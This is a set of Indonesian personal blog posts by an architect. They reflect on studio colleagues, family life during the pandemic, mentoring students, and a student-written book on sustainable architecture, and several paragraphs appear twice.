Lama saya tidak menulis di postingan IG yang saya gunakan untuk tempat menyampaikan perlunya merefleksikan diri dan mengapresiasi arsitekturini, saya terus berpikir kadang, mau menulis apa, terkadang kesibukan membuat saya tidak terlalu meluangkan waktu mengupdate postingan. Namun kali ini dan ke depan saya mencoba mengapresiasi dan menggali relasi antar orang – orang luar biasa di sekitar saya ya. Karena Indonesia itu seperti bambu, tumbuh bersama – sama dengan rumpun dan tidak sendirian. Terus pakai masker dan saya doakan supaya sehat selalu.
Indonesia itu seperti bambu, tumbuh bersama – sama dengan rumpun dan tidak sendirian.Lama saya tidak menulis di postingan IG yang saya gunakan untuk tempat menyampaikan perlunya merefleksikan diri dan mengapresiasi arsitekturini, saya terus berpikir kadang, mau menulis apa, terkadang kesibukan membuat saya tidak terlalu meluangkan waktu mengupdate postingan. Namun kali ini dan ke depan saya mencoba mengapresiasi dan menggali relasi antar orang – orang luar biasa di sekitar saya ya.
Kalau dilihat – lihat masa pandemi ini saya belajar mengenai kedekatan. Kali ini saya mau bercerita mengenai pak Singgih Suryanto, beliau sudah ikut kerja dengan ayah saya puluhan tahun dan sudah berkerja bersama saya dari tahun 2011 ketika rumah Bare Minimalist dikonstruksi. Beliau pada saat itu menjadi pengawas. Saya mendapatkan banyak cerita mengenai anak – anak studio desain dari beliau, kami berdiskusi pagi – pagi kadang dimana anak – anak belum datang ke studio.
“Real, ini anak lagi kena sakit Maag.”
“Real, kayanya anak ini kos – kosannya di belakang kampung kurang baik, katanya banyak kecoak.”
“Real , kayanya anak ini keteteran kerjaannya, mungkin perlu dibantu.”
Dari perjalanannya pulang dari proyek , ia kadang mampir ke tukang gorengan ataupun martabak. Kejutan – kejutan tersebut membuat suasana studio lebih cair, mengalir dalam senda gurau, tawa. Baginya anak – anak studio seperti keponakannya sendiri.
Beliau dulu tinggal di Rawa Mangun, untuk ke-studio kami perlu sedikitnya 2 jam perjalanan. Ketika satu saat beliau sakit dia sempat berkata, saya sudah selesai, dan jantung saya berdegub keras pada saat itu. Saya tidak boleh kehilangan beliau, Pada waktu itu saya ingat, saya mengumpulkan beberapa orang di studio pada saat itu, termasuk pak Jatmiko, Pak Misnu, Bonari, Rudi, dan lain – lainnya. Saya menekankan bahwa Pak Singgih perlu dirawat bergantian sampai sembuh, tolong kabari saya setiap harinya. Mungkin kalau ada saya keinginan yang belum terpenuhi untuk beliau adalah bagaimana saya meluangkan lebih banyak waktu, uang, dan tenaga untuk lebih perhatian akan kecintaan beliau di dalam mengayomi anak – anaknya.
Ayah saya selalu berkata, susun prioritas terutama, hal – hal yang penting didahulukan terutama masalah relasi, keuangan, nama baik, seperti ayah saya kadang beliau tidak mau menjadi pemberat di dalam hidup saya. Ia diam, kadang ia tahu saya perlu fokus di dalam bekerja, ia tahu bahwa mungkin dia pikir saya tidak memerlukannya dan memilih tidak mengganggu meskipun dia rindu. Terkadang ayah saya hanya minta diantar oleh Pak Misnu ke The Guild, kadang ia melihat dari luar dari luar mobil saja, dia bilang, ngga usah repot – repot kalau lagi sibuk. Saya selalu bilang apaan sih, ayo masuk, atau saya keluar rumah menyambutnya . Dia tahu bahwa dia sendiri sudah sulit berjalan. Sepanjang hidup saya, nafas saya, darah saya dibentuk oleh beliau, termasuk oleh Pak Singgih dan orang – orang yang sedermikian penting untuk saya. Saya sungguh bersyukur dikelilingi oleh ayah saya, pak Singgih, dan orang – orang baik di sekeliling saya.
Terkadang ayah saya hanya minta diantar oleh Pak Misnu ke The Guild, kadang ia melihat dari luar dari luar mobil saja, dia bilang, ngga usah repot – repot kalau lagi sibuk.Saya selalu bilang apaan sih, ayo masuk, atau saya keluar rumah menyambutnya . Dia tahu bahwa dia sendiri sudah sulit berjalan.Ayah saya selalu berkata, susun prioritas terutama, hal – hal yang penting didahulukan terutama masalah relasi, keuangan, nama baik, seperti ayah saya kadang beliau tidak mau menjadi pemberat di dalam hidup saya. Ia diam, kadang ia tahu saya perlu fokus di dalam bekerja, ia tahu bahwa mungkin dia pikir saya tidak memerlukannya dan memilih tidak mengganggu meskipun dia rindu…Sepanjang hidup saya, nafas saya, darah saya dibentuk oleh beliau, termasuk oleh Pak Singgih dan orang – orang yang sedermikian penting untuk saya. Saya sungguh bersyukur dikelilingi oleh ayah saya, pak Singgih, dan orang – orang baik di sekeliling saya.
Di dalam pembentukan kultur studio, kedekatan antar-personal menjadi penting, kejutan – kejutan, ritual – ritual, perlakuan – perlakuan yang baik berdasarkan keinginan untuk memperhatikan, apresiasi dari yang tua ke yang muda, dari yang muda ke yang tua, dari yang muda ke yang muda, dari yang tua ke yang tua. Bergandengan tangan menjadi rumpun dan maju bersama. Rumusnya ternyata sederhana, seperti Pengrajin Bambu yang menukang batu di atas membentuk batu yang keras menjadi lembut mengalir dengan artistik, menjadi “Pengrajin Kasih”.
Di dalam pembentukan kultur studio, kedekatan antar-personal menjadi penting, kejutan – kejutan, ritual – ritual, perlakukan – perlakukan yang baik berdasarkan keinginan untuk memperhatikan, apresiasi dari yang tua ke yang muda, dari yang muda ke yang tua, dari yang muda ke yang muda, dari yang tua ke yang tua. Bergandengan tangan menjadi rumpun dan maju bersama. Rumusnya ternyata sederhana, seperti Pengrajin Bambu yang menukang batu di atas membentuk batu yang keras menjadi lembut mengalir dengan artistik, menjadi “Pengrajin Kasih”.
[1] Catatan : Ini postingan link ke IG pertama saya setelah beberapa lama. Saya berdoa Tuhan semoga postingan ini membawa berkat, dan jauhkanlah saya dari hal – hal buruk. Berkati orang – orang yang sudah membawa begitu banyak hal baik di dalam kehidupan saya.
“Miracle sayang Heaven.” katanya sambil menepuk – nepuk Heaven. Sudah satu bulan ini Miracle sekolah kembali setelah libur tengah tahun. Hari – hari kami diwarnai hal – hal yang repetitif yang mewarnai keseharian. Laurensia bangun pagi setiap harinya, untuk mempersiapkan sekolah Miracle (nama panggilan Miraclerich). Saya sendiri banyak belajar dari sekolah Miraclerich, jadwal sekolahnya berpusat pada pelajaran budi pekerti, ilmu pengetahuan alam, dan pelajaran bahasa Mandarin.
“Miracle sayang Heaven.” katanya sambil menepuk – nepuk Heaven. Sudah satu bulan ini Miracle sekolah kembali setelah libur tengah tahun. Hari – hari kami diwarnai hal – hal yang repetitif yang mewarnai keseharian. Laurensia bangun pagi setiap harinya, untuk mempersiapkan sekolah Miracle (nama panggilan Miraclerich)
Laurensia berkata satu saat “keluarga dibentuk seperti badan manusia, ayah adalah tulang yang bekerja keras untuk kebutuhan dasar, ibu adalah jantung yang ada di tengah keluarga” itulah relasi antara kedua peran yang saling melengkapi pikiran badan dan hati di dalam keluarga, disitulah adalah pelajaran budi pekerti.
Saya ingat Suryamentaram sampai harus meninggalkan gelar kebangsawanannya untuk mengetahui sejauh mana ia bisa menjernihkan suara hatinya. Hal tersebut bisa diibaratkan seperti Zarathustra. Dalam tulisan-tulisan awalnya, Friedrich Nietzsche (1844-1900) bereksperimen dengan posisi filosofis, mengujinya terhadap ilmu pengetahuan dan sejarah pemikiran, melawan budaya, pemikir, dan momentum zaman. Selain itu, ia mengadopsi persona atau topeng untuk menyajikan ide-ide kontroversial dalam konteks eksperimental dan sebagai cara baru untuk berfilsafat. Karakter dramatis Zarathustra dan pertapa dalam Thus Spoke Zarathustra.
“When Zarathustra was thirty years old, he left his home and the lake of his home, and went into the mountains. There he enjoyed his spirit and his solitude, and for ten years did not weary of it. But at last his heart changed, and rising one morning with the rosy dawn, he went before the sun and spoke to it.”
Zarathustra perlu menyendiri di perjalanannya menuju gunung. Setiap orang perlu menggali apa itu gunungnya, apa yang aku mau tuju, dan bagaimana cara saya mendaki gunung saya. Itulah proses menggapai impian melalui meramu tujuan. Gunung itu ibaratnya adalah sebuah tujuan. Setiap orang di dalam menyendiri akan bertemu Zarathustra, berdialog dan kemudian menjadi dirinya untuk mempertanyakan siapa aku di dalam kesendiriannya.
Satu murid, ia mengirimkan saya Whatsapp Message, dulu saya bertemu dia di dalam kelas satu kelas.
Selamat malam Pak Rich… maaf mengganggu pak.. Saya boleh menanyakan saran ga pak, soal karir hidup pak.. Selama kelas pak Rich, saya sangat menikmati luasnya eksperimentasi yang bisa dilakukan pada setiap tugas. Tiba-tiba bisa menulis tugas soal bahan material arsitektur yang kita minati atau bayangkan, atau bahkan bisa memperagakan demonstrasi di depan kelas.Hal-hal yang berhubungan dengan eksperimentasi hampir setiap hari selalu membuat saya semakin curious dan ingin mencoba untuk merealisasikannya. Bisa saja tiba-tiba kepikiran ingin melakukan suatu proyek yang berhubungan dengan videogrammetry, atau bisa saja proyek film yang menggunakan the other 4 senses… dan bahkan bisa tertarik untuk berpikir output apa yang dapat dihasilkan dari musik dan arsitektur, apakah yang akan terjadi jika musik menggunakan teori-teori desain yang dipelajari dalam arsitektur, atau animasi menggunakan teori-teori desain yang dipelajari dalam arsitektur, multi-disciplinary and architecture, & etc…
Dari semua kebingungan ini, saya sudah mencoba untuk me-riset jurusan yang memungkinkan, dan salah satunya itu adalah experimental media… namun saya masih belum yakin apakah itu akan fulfill keminatan saya pada jangka panjang.. Sementara ini, saya mungkin berpikir untuk mengambil gap year setelah kuliah selama 1 – 2 tahun untuk mengeksplor ketertarikan saya dulu.. Walaupun mungkin belum terlalu jelas, karena randomness dari setiap proyek bisa cukup besar…
Namun, kalau menurut pak Rich, mungkin apakah saya lanjutkan saja dulu semua eksplorasi dan proyek2 ini, dan endingnya lihat nanti saja.. Atau mungkin saya perlu mengambil patokan suatu jurusan dulu, baru untuk berbagai macam ide lainnya akan saya lakukan secara otodidak? Maaf pak kalau saya jadi menanyakan secara tiba-tiba seperti ini…“
Perjalanan mendaki gunung memang perlu kegalauan dan kebingungan, kabut kadang pekat, kadang tipis, bisa jadi ada harimau muncul di perjalananmu dan harus kau tundukkan. Bisa jadi juga kamu perlu mencari air di dalam perjalananmu supaya dirimu tidak kehausan. Alam mencari gunung ini adalah ranah filsafati, sebuah proses pencarian diri. Menariknya ia menjadi perjalanan tidak berujung, semakin lama semakin luas, membawa di dunia langit beberapa tingkat ke atas.
saya menginterpretasikan seperti anak – anak ini,berusaha menggali sendiri untuk mengetahui apa arah kehidupan ini di masa yang akan datang.
Di satu sisi, euforia perjalanan diri ini, terkadang membutuhkan kompas. Apakah benar yang saya pikirkan ? Bagaimana menurut kawan saya ? Apakah saya punya progress di dalam kehidupan ini ? pertanyaan – pertanyaan tersebut membutuhkan orang lain untuk bisa memberikan interpretasi. Perjalanan mendaki gunung membutuhkan persiapan, kaki yang kuat, hati yang lapang, dan kemauan yang kuat. Kaki yang kuat diibaratkan adalah pengetahuan tacit mengenai bagaimana berpraktik sebagai arsitek, bagaimana memproduksi desain, gambar, melakukan supervisi proyek, dan melayani klien. Kemauan yang kuat adalah ketekunan dan kerja keras yang menjadi bensin atau makanan penggerak tubuh kita. Hati yang lapang adalah ketulusan budi pekerti.
Pelajaran Budi pekerti itu disebut Ren Wen 人文 . Miracle mendapatkan kelas ini satu kali seminggu. Ren Wen adalah sebuah pelajaran mengenai kemanusiaan, bagaimana menghargai orang lain. Hal ini akan membentuk budaya yang baik. “Tahukah kamu permisalan tentang udang dan ular ? Kata gurunya satu saat.” Hal ini kami bahas pada waktu kami makan siang bersama. “Jangan berbicara hal yang buruk, nanti kami akan jadi seperti ular berbisa, dan jangan juga duduk membungkuk seperti udang.”lalu kata Laurensia menjelaskan bagaimana pelajaran di kelas hari itu.
Pelajaran Budi pekerti itu disebut Ren Wen 人文 . Miracle mendapatkan kelas ini satu kali seminggu. Ren Wen adalah sebuah pelajaran mengenai kemanusiaan, bagaimana menghargai orang lain. Hal ini akan membentuk budaya yang baik. “Tahukah kamu permisalan tentang udang dan ular ? Kata gurunya satu saat.” Hal ini kami bahas pada waktu kami makan siang bersama. “Jangan berbicara hal yang buruk, nanti kami akan jadi seperti ular berbisa, dan jangan juga duduk membungkuk seperti udang.”lalu kata Laurensia menjelaskan bagaimana pelajaran di kelas hari itu.
Ia menjelaskan bahwa murid – murid diajarkan untuk welas asih, memiliki budi pekerti yang baik, seperti menjadi sebuah bunga yang harum untuk orang lain. Pelajaran – pelajaran sederhana bagaimana menjadi tenang dengan meditasi, minum teh, makan dengan sopan, menyapa orang, merangkai bunga, ataupun sesederhananya menyapa dengan “I love you Mommy.”
” anak – anak di umur 4 tahun, mereka mulai aktif untuk meniru, dan salah satu hal yang bisa dilakukan untuk belajar adalah bermain peran.”
Terdengar sayup – sayup Laurensia berkata ke Miracle ketika menemaninya belajar satu hari,
“ayo duduk yang tegak jangan seperti udang.”
Jordan Patterson membahas cerita mengenai lobster di dalam buku 12 Rules of Life, ia menjelaskan cerita lobster untuk menjelaskan tentang hirarki sosial yang ada di dalam kehidupan sehari – hari. Patterson menjelaskan tentang bagaimana lobster yang menang akan menegakkan kepalanya, dan yang kalah inferior akan membungkuk. Mendadak saya pun tersadar, saya pun beringsut bangun, membetulkan tempat duduk saya, memang budi pekerti itu bekerja ke segala arah, dari hati, pikiran, sampai hal – hal sederhana dan detil sampai ke posisi duduk. Mengingat ini, saya kembali ingat ketika Laurensia menepuk satu saat, “Jangan membungkuk Yang.
“O iya”
“Untung ada Laurensia yang selalu mengingatkan :)” sekarang gantian saya mengingatkan para pembaca. “Jangan membungkuk ya.”
“Untung ada Laurensia yang selalu mengingatkan :)” sekarang gantian saya mengingatkan para pembaca. “Jangan membungkuk ya.” family photo taken by Jeffri Hardianto (pepen) House of Photographers
Dulu kira – kira 13 tahun yang lalu, bulan – bulan Agustus menuju Desember adalah bulan dimana autumn tiba, di saat itu saya ingat satu waktu saya menghabiskan waktu ke Cambridge, menyusuri sungai disana, naik sepeda bersama Laurensia. Kami mengambil gambar untuk mengabadikan bahwa kami pernah di situ. Perjalanan kami berdua di kota – kota di Inggris seperti St. Ives, Cambridge, London dan kota – kota kecil lainnya membekas di dalam musim autumn. Musim autumn memberikan suasanya jatuhnya daun – daun dan masuknya musim dingin, terbitnya bunga, dan datangnya musim panas. Hal ini adalah siklus berulang di dalam waktu yang linear.
Kali ini, kira – kira mulai bulan Agustus sampai bulan Desember lalu, saya menghabiskan waktu – waktu malam dengan membaca jurnal, buku, membuat mind map, menyusun presentasi. Hal ini paralel di siang hari dan kadang subuh untuk berpraktik, mendesain, survei lapangan, supervisi proyek. Setiap senin diwarnai dengan meeting pagi tim proyek yang dilanjutan dengan webinar jam 10 bersama Iwan Sudrajat, belajar mengenai metodologi penelitian melalui buku dan diskusi. Hari selasa, saya mendapatkan waktu untuk berdiskusi dengan Himasari Hanan sebagai pembimbing, dan hari kamis, saya bertemu dengan Bambang Sugiharto di kelas filsafat.
Apa yang mau saya bagikan di dalam tulisan ini adalah soal merasa cukup, sebuah proses dari menuju sesuatu, waktu adalah linear.
Pertama, soal disertasi, topik yang saya minati adalah soal kreatifitas di dalam desain. Saya tertarik untuk mengikuti kelas di 3 bulan pertama sampai satu titik dimana saya bertemu dengan Anna Herringer di dalam acara Design United dimana kami mengisi acara bersama – sama. Di dalam diskusi bersama dan sharing, ia menjelaskan bagaimana arsitek perlu peka di dalam praktik, dan melihat karya – karyanya saya merefleksikan bahwa tataran yang saya jalani di dalam disertasi adalah tataran yang teoritis. Saya membutuhkan tataran praktis sebagai pelengkap teori, lokalitas dalam praktik, membumi, mengakar, fundamental.
Selain urusan disertasi, waktu saya habiskan juga untuk mengatur studio dan perpustakaan juga menulis buku sebagai bahan refleksi. Covid ini merubah banyak sekali hal, mulai dari hilangnya tatap muka, dan munculnya peluang – peluang digitalisasi, seperti media webinar, dan rapat di atas awan (rapat digital menggunakan zoom). Sebenarnya kami hidup lebih sehat, lebih tenang, dan lebih damai. Karya – karya yang saya hasilkan jauh lebih mengakar, dan terpikirkan matang.
Saya teringat kira – kira setahun yang lalu, saya memutuskan untuk keluar dari banyak grup digital karena terus terang merasa tidak nyaman apabila tidak memiliki jarak akan segala hal sehingga hal – hal yang prinsipal menjadi dogma yang ikut – ikutan. Mungkin hal ini yang menyebabkan Pak Gunawan Tjahjono tidak memiliki WA. Saya mengamati ada teman saya yang sukanya mengumbar dirinya sendiri, ada juga teman saya yang juga problematis dengan masalah waktu, ada juga teman yang sukanya pansos. Setiap orang punya masalah, masalah pribadi biarlah menjadi masalah pribadi, masalah bawaan. Masalah bersama itulah yang lebih penting untuk dibicarakan. Masalah pribadi itu urusan refleksi masing – masing. Saya sungguh merasa kesepian, mungkin yang bisa mengobati adalah adik – adik saya di perpustakaan, ataupun murid – murid atau teman – teman yang bisa bersenda gurau tanpa pretensi ataupun sekedar mengupdate berita mengenai bagaimana hidup mereka akhir – akhir ini dengan cerita yang konyol, gagal, bodoh, hidup memang tidak sempurna kawan.
Minggu ini saya bertemu dua orang anak muda, satu sedang mencari jalan hidup. Ia adalah calon arsitek yang potensial, ia memiliki kegelisahan mengenai sejauh mana jalan itu aman baginya, untungnya ia memiliki begitu banyak kesempatan yang diberikan keluarganya dan teman – teman sekitarnya. Orang yang kedua justru tidak memiliki kesempatan tersebut, ia harus berjuang sendirian di dalam menembus keterbatasannya sebagai anak di dalam ekosistem yang broken home. Ia sendiri sekarang sukses di dalam dunia retail yang memegang salah satu banyak brand tas yang ternama. Mereka berdua berjuang menembus keterbatasannya sendiri, memiliki kesamaan akan sebuah proses yang understated. Proses ini adalah proses yang sederhana, fokus kepada kemauan belajar, yang tidak kompetitif, tanpa perlu menonjolkan diri, ada rasa cukup yang terlihat di dalam prosesnya. Saya bangga akan proses mereka berdua dan menyaksikan keduanya tumbuh mandiri.
Saya melihat tantangan ke depan tidak mudah, dengan menghitung jumlah proyek, dan proyeksi keuangan, beberapa langkah – langkah perlu di lakukan dengan taktis dan hal tersebut membutuhkan waktu. Disinilah tegangan akan waktu ini muncul. Waktu sekali lagi linear, pertimbangan – pertimbangan yang dipilih akan menghadapkan pilihan – pilihan seberapa layak satu pilihan itu dipilih, apa yang didapatkan, perkiraan – perkiraan apa yang menunggu di ujung jalan. Proses ini seperti proses menyiapkan bahan masakan dengan menimbang satu dan yang lain supaya hasilnya memuaskan.
Sebelumnya, sebenarnya di dalam proses saya mengerjakan disertasi tidak berfokus ke tujuan mendapatkan gelar S3 namun lebih ke proses pembelajaran, menemukan teman untuk berdiskusi, ekosistem untuk membicarakan penelitian – penelitian lebih lanjut dengan masuk ke substansi bukan normatif.
Satu minggu setelah saya mengirimkan surat untuk mundur ke prodi , saya bertemu dengan Lisa Sanusi. Kita berdua berdiskusi mengenai mimpi – mimpi akan dunia pendidikan. kira – kira baru 2 minggu lalu ia mengirim pesan “pak Rich apa ada waktu saya mau bicara.”, ia kemudian melanjutkan:
“Pak Rich, saya sudah dari Bandung, kita dalam pengurusan sekolah arsitektur.”
Saya terdiam, dan jantung ini berdegup keras. Dan sekonyong – konyong ada suara dari belakang telinga mengingatkan,
“jangan lupa doa ya.”
The feeling of autumn, leaving someone feels like the sadness of autumn a glass of wine thousands of different emotions, so many farewells when the leaves fall, there are so many farewells, holding your hand tight remembering this, i want you to remember this silent promise I’m not afraid of being lovesick I’m just afraid of hurting you all resentments vanish with the wind meeting or parting ways, it’s not up to me I’m not afraid of being lonely I’m just afraid you’ll be disappointed that you won’t have a shoulder to cry on
Saya terbangun, mari jalan kembali. Sampai jumpa kawan.
“Apa yang menjadi dasar kriteria untuk membuat buku ini untuk mahasiswa ?” Ini satu pertanyaan yang muncul dari peserta diskusi ketika ada acara Omah Library di Bandung, kira – kira dua tahun yang lalu ketika terdapat paparan mengenai bagaimana kerangka pemikiran buku Filsafat, Teori, dan Keprofesian di dalam 3 buku yang sudah diterbitkan. Pertanyaan ini adalah pertanyaan yang luar biasa bagus, yang biasa ditanyakan ketika ada pengujian. Di dalam assesment mengenai kualitas, ada penentuan parameter, kunci – kunci penentuan parameter ini sangatlah penting dan kritikal sebagai dasar apa yang menjadi pertimbangan, dan bagaimana menimbangnya. Pertanyaan ini menjadi dasar bahwa ada pembaca yang ingin mengerti kualitas seperti apa yang menjadi konsep dasar buku tersebut.
“Terima kasih ya pak, sudah mau membuatkan buku untuk kami.” Eubisius, murid saya berbicara pada saat saya menanyakan di malam saya mempresentasikan buku ini ke mereka, “apa ada yang mau kalian sampaikan atau tambahkan ?”.
Malam itu adalah saat dimana saya mempresentasikan apa yang sudah kami lakukan di Omah Library, untuk mengkurasi, dan menyusun materi ajar di dalam buku Strategi Arsitektur Berkelanjutan. Isu – isu arsitektur berkelanjutan kerap digunakan untuk menggali tema di dalam proses perencanaan.
Saya masih ingat, dulu Eubisius atau Ubi panggilannya, berkata pada saya, “mungkin ini terdengar konyol pak, cuma saya bercita -cita ingin menjadi pemenang Pritzker Prize.” Pritzker Prize adalah satu penghargaan di arsitektur yang identik dengan nobel, penghargaan itu ditujukan untuk seseorang yang sudah berjasa untuk menyumbangkan hidupnya untuk kemanusiaan di dalam menjalani profesinya sebagai arsitek. Saya bisa membayangkan bahwa mungkin saja pengajar – pengajar yang menertawakan keinginan muridnya seperti ini. Namun di mata saya, keinginan seperti ini adalah sungguh amat berharga.
Perkataan – perkataan “saya ingin seperti ini, seperti itu…” itu sebenarnya yang sering dilontarkan oleh para mahasiswa, sebuah keinginan untuk menggapai mimpi menyumbangkan hidupnya untuk kemanusiaan. Dari perjumpaan dengan banyak mahasiswa yang menginginkan hal tersebut, ada benang merah, bahwa para mahasiswa ini ingin dihargai sebagai perancang, dan mereka juga ingin belajar mempertanggung-jawabkan metodologi desainnya sebagai arsitek, dan terakhir mereka semua juga menyadari pentingnya sikap untuk selalu belajar.
Seringkali benang merah tersebut disalah-artikan sebagai keinginan untuk menonjolkan diri, padahal sesederhananya keinginan itu berawal dari kebutuhan untuk diapresiasi oleh orang lain termasuk pengajarnya.
“Buku ini tidak boleh mahal, tapi boleh tebal, setebal 600 halaman juga oke. Berikan yang terbaik untuk anak – anak, karya ini dari anak – anak untuk anak – anak, kita akan menjadi jembatan yang baik untuk mereka.” saya menekankan di dalam rapat di Omah Library
Apresiasi ini begitu penting di dalam pembentukan Gift Society dimana Gift Society tidaklah sama Consumerism Society, hal ini dibicarakan oleh Lewis Hyde di dalam bukunya The Gift: How the Creative Spirit Transforms the World. Hyde membagi dua buah kelompok, pertama yaitu : Consumerism Society , kelompok mengandalkan asas untung rugi, ibaratnya keinginan untuk mengetahui apa yang aku dapat di dalam proses kreasi sebagai motif dasar. Di dalam kelompok ini, terdapat keterbatasan waktu yang mengikat untuk berproduksi, informasi yang dibatasi, dan patronisasi yang kuat. Sedangkan di dalam kelompok yang kedua Gift Society, menghasilkan karya yang inovatif dari sikap saling percaya , hubungan yang saling memberi, dan aspek pembagian ekonomi yang bijaksana, memiliki motif untuk membangun.
Buku “Untuk Mahasiswa” ini ditulis untuk mahasiswa dan oleh mahasiswa, bahwa mahasiswa bisa dan boleh berinterpretasi untuk kasus – kasus yang mungkin mereka sendiri belum terbayang seutuhnya bagaimana cara arsitek berproses. Disinilah proses (pedagogi) pengajaran itu perlu dipaparkan dengan apa adanya yang terkait ke 4 titik permenungan, pertama : sistem pengajaran, kedua : anatomi pemaparan dari quiz sampai tugas, ketiga : buku yang direferensikan, dan keempat : evaluasi dari tugas mahasiswa yang patut diapresiasi. Disinilah proses pedagogi “untuk mahasiswa” patut untuk dibagikan untuk sebagai titik awal bagi pengajar – pengajar lain berbagi hal yang menjadi rahasia kecil yang terkadang terselubung di dalam hubungan pengajar dan diajar.
Lebih lanjutnya buku ini sebenarnya adalah tempat merefleksikan kegiatan mencatat, mengarsip, dan mengevaluasi proses pengajaran arsitektur berkelanjutan untuk kepentingan menyambung tongkat evaluasi yang dibutuhkan. Hal ini perlu supaya pengajar dan murid bisa memahami kompleksitas praktik- teori di dalam bentuk kontekstualisasi kasus studi ke dalam kasus – kasus yang kita alami di dalam keseharian kita semua sebagai murid – murid kehidupan.
Beberapa komentar dari adik – adik saya di Omah Library dimana pada dasarnya buku yang baru terbit ini adalah strategi untuk menemukan diri sendiri menggunakan tema arsitektur berkelanjutan setidaknya membuat saya menghela nafas.
“Selama proses penyuntingan, saya belajar banyak hal dari tulisan-tulisan yang terkumpul. Sepertinya, kesadaran kolektif memang muncul disini, di mana benang merah ini saling merajut antar tulisan dengan tujuan yang sama; sebuah kesadaran arsitektur berkelanjutan. Buku ini buku paling tebal, dan buku yang membawa saya menemukan apa makna arsitektur berkelanjutan, yang jarang sekali diperbincangkan. Ini memang buku strategi. Strategi yang menghantarkan kita mencari strategi sesuai konteks kita sendiri, dengan melibatkan kesepahaman arsitektur yang berkelanjutan.” – Satria A. Permana
Mungkin kalau Ian Mcharg masih hidup, ia bisa tersenyum sembari berjaga – jaga kembali.
Berikut ini tautan dari omah library, ….Pemesanan buku @omahlibrary dapat melalui link di bio bit.ly/OrderOMAH atau hubungi vivi (WA) 08998898239
. Terima kasih untuk para kontributor murid – murid kami : Albert Lionggo, Andreas Hasiholan,Anggreny Ratnasari, Anissa Dipa, Anke Ardine, Ansell Samuel Julianto, Antonius Priya Prathama, Bayu Abimanyu, Carla Aurellia, Chelsea Gracelyn Halun, Chelsya Setiawan, Christal Yohanes Edy Widjaya, Darwin Winata, Dharmawan, Diandra Arya Eka Putrim Edgard Jeremy, El Grantnada Romaulina Chyntia, Manihuruk, Eubisius Vercelli Ocvanto Kuncoro, Evania Hamdani, Fania, Farisya Yunandira Putri, Fikra Abhinaya Djuhara, Franca Kartasasmita, Gerardo Leonard Nugroho, Gilbert Antonious, Heidy Laurentia, Heinrich Benedick, Jason Lim, Jason Aristya Wongso, Jason Axel, Jesslyn Amanda, Joshua Alfando, Joshua Felix Theo, Joshua Michael, Jovin JuanMarcell Cruxivisyo, Mauritzio Hizkia, Michael Antonio Halim, Michael Imanuel Susilo, Michellin Sonia Wibowo, Muhamad Yusuf Nyompa, Nathanael Christopher Ng, Novi Synfah, Oliver Victor Wibowo, Praisella Hatijanto, Putroaji Darma Maulana, Raihan Ramadhan, Rayka Martawijana, Raynaldo Febrio Istanto, Sander Ekaputra, Satya Krisnadi, Shania Salsabila, Shella Angelica, Sherlyn Christiane, Spazio Julius, Stanly Alviando, Thessalonicca Venesya, Valencia Angelita, Vania Serrafine, Para Restless Spirit Librarian : Penyunting (Amelia Widjaja, Satria A. Permana), Kirana Adrya, Hanifah Sausan, dan Dimas Dwimukti. Juga tim administrasi, Laurensia, Vivi, dan Putri. Kawan – kawan yang menulis pengantar bersama – Johannes Adiyanto dan penutup Anas Hidayat.
“Yang, besok ulang tahun mau dibuatin apa ?” Laurensia bertanya,
Saya tidak punya ekspektasi apa – apa untuk ulang tahun kali ini. Saya menyadari sudah diberikan begitu banyak berkat dari Tuhan di masa krisis karena pandemi ini dan saya selalu berdoa supaya kawan – kawan dilindungi selalu kesehatannya dan jangan lupa memakai masker. Berkat – berkat di masa pandemi ini mewujud pada kenangan – kenangan yang membekas berupa kedekatan kami sekeluarga. Seperti ketika Laurensia mempersiapkan donat pada hari ini. Kemarin ia bercerita bahwa Miracle ingin makan donat dan ia ingin mengajarkan Acle (panggilan sayang miracle) membuat donat bersama, hal yang sederhana.
Titik kali ini adalah titik ulang tahun yang ke tiga puluh sembilan, dan Laurensia sudah mempersiapkan bahan – bahan tepung, telur, dan topping, seperti mendesain proses persiapan ini yang paling penting yaitu mempersiapkan adonan, dan menikmati momen proses pembuatannya. [1]
Kemarin Laurensia bercerita bahwa Miracle ingin makan donat dan ia ingin mengajarkan Acle (panggilan sayang miracle) membuat donat. Donat memiliki bentuk seperti lingkaran, garis yang memutar saling menjaga dan menerus.
“Papa, jangan lihat kesini, we are making surprise for you, close your eyes.”
kata Acle sambil membawa bantal sambil menutupi mata saya. Saat – saat sederhana seperti ini membuat saya bersyukur, dengan bagaimana Acle dan Laurensia ingin membuat sesuatu untuk saya, perhatian – perhatian kecil seperti ini adalah hadiah yang tidak ternilai untuk apa yang saya dapatkan di hari ulang tahun ini. Salah satu hal yang tidak ternilai adalah keluarga termasuk Acle, Heaven, dan Laurensia di dalamnya. Kami sibuk mengisi hari – hari dengan rutinitas pagi dimulai dengan doa, makan pagi bersama, bekerja, makan siang bersama, kerja/istirahat siang, makan malam dan istirahat. Hal yang kami tanamkan ke keluarga adalah respek untuk orang – orang di sekitar kami. Respek menjadi penting, dimulai respek kepada diri sendiri, sebuah bentuk self criticism.
Dulu ayah saya di waktu memimpin konstruksi, memperkenalkan proses slametan, sebuah proses syukur yang ada di dalam akhir sebuah proses yang kritikal, kalau di dalam pembangunan rumah hal ini dilakukan sebelum bangunan dibangun, dan sesudah proses tutup atap. Hal ini adalah sebuah proses yang wajar dan manusiawi. [2]
Prinsip slamet ini menjadi relevan di masa Covid dimana, sebagai manusia kita harus menahan diri. Ada beberapa cerita lucu tetapi juga sedih, juga mengenai mandor – mandor di sekitar saya yang kehilangan orang – orang terbaiknya karena flow proyek terputus karena COVID. Mereka setengah menggerutu, orang saya diambil orang pak, ada proyek baru disana. Sudah capai – capai melatih lalu mereka pergi. Kira – kira ada dua kelompok di tim kami yang kehilangan anak didik mereka. Terkadang mereka menggerutu, saya terus berpikir kenapa orang – orang terbaik mereka pergi ya ? apakah ada faktor kepemimpinan, ataukah tantangan, selain faktor ekonomi? Saya memiliki hipotesa – hipotesa soal ini. Hal ini wajar terjadi dimana – mana, dan wajar setiap orang ingin tumbuh dan berkembang [3]
